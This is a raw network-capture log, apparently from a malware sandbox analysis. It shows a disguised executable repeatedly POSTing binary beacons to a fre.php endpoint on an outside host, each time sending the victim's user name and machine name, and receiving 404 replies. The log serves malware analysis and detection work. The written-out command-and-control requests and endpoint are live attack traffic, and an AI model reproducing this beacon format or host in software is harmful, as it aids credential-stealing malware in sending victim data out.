Feb 22, 2021 19:14:00.041541100 CET	5787	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:59 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.4	49813	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:00.631942034 CET	6057	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:00.970818996 CET	6194	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:01.344598055 CET	6194	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:01 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.4	49814	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:01.922836065 CET	6195	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:02.257450104 CET	6196	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:02.623399973 CET	6196	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:02 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.4	49815	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:03.230295897 CET	6197	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:03.565103054 CET	6197	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:03.928021908 CET	6198	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:03 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.4	49816	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:04.508068085 CET	6199	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:04.845724106 CET	6199	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:05.223133087 CET	6199	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:05 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.4	49817	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:05.814223051 CET	6200	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:06.153937101 CET	6200	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:06.530955076 CET	6201	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:06 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.4	49818	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:07.112781048 CET	6201	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:07.451307058 CET	6202	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:07.826639891 CET	6202	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:07 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49752	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:09.379899025 CET	1540	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:09.717972994 CET	1541	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:10.094573975 CET	1541	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:09 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.4	49819	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:08.413652897 CET	6203	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:08.749602079 CET	6203	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:09.114203930 CET	6204	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:08 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.4	49820	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:09.712193966 CET	6204	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:10.049978971 CET	6205	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:10.421947002 CET	6205	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:10 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.4	49821	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:11.002002954 CET	6206	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:11.337898016 CET	6206	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:11.707024097 CET	6207	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:11 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.4	49822	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:12.313270092 CET	6207	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:12.653307915 CET	6208	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:13.023763895 CET	6208	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:12 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.4	49823	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:13.908883095 CET	6209	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:14.247961044 CET	6209	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:14.616005898 CET	6209	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:14 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.4	49824	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:15.437535048 CET	6210	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:15.773653984 CET	6211	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:16.140294075 CET	6211	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:16 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.4	49825	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:16.710648060 CET	6212	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:17.048197985 CET	6212	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:17.424968958 CET	6212	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:17 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.4	49826	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:18.024683952 CET	6213	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:18.362878084 CET	6214	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:18.739638090 CET	6214	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:18 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.4	49827	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:19.321867943 CET	6215	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:19.660252094 CET	6215	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:20.031702995 CET	6215	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:19 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.4	49828	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:20.599287033 CET	6216	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:20.937680960 CET	6217	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:21.306483984 CET	6217	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:21 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49753	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:10.753897905 CET	1542	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:11.089572906 CET	1542	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:11.455200911 CET	1542	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:11 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.4	49829	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:21.882520914 CET	6218	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:22.227998972 CET	6218	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:22.606409073 CET	6218	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:22 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.4	49830	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:23.176364899 CET	6219	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:23.515377998 CET	6220	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:14:23.883021116 CET	6220	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:14:23 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.4	49831	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:14:24.482439995 CET	6221	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:14:24.822552919 CET	6221	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
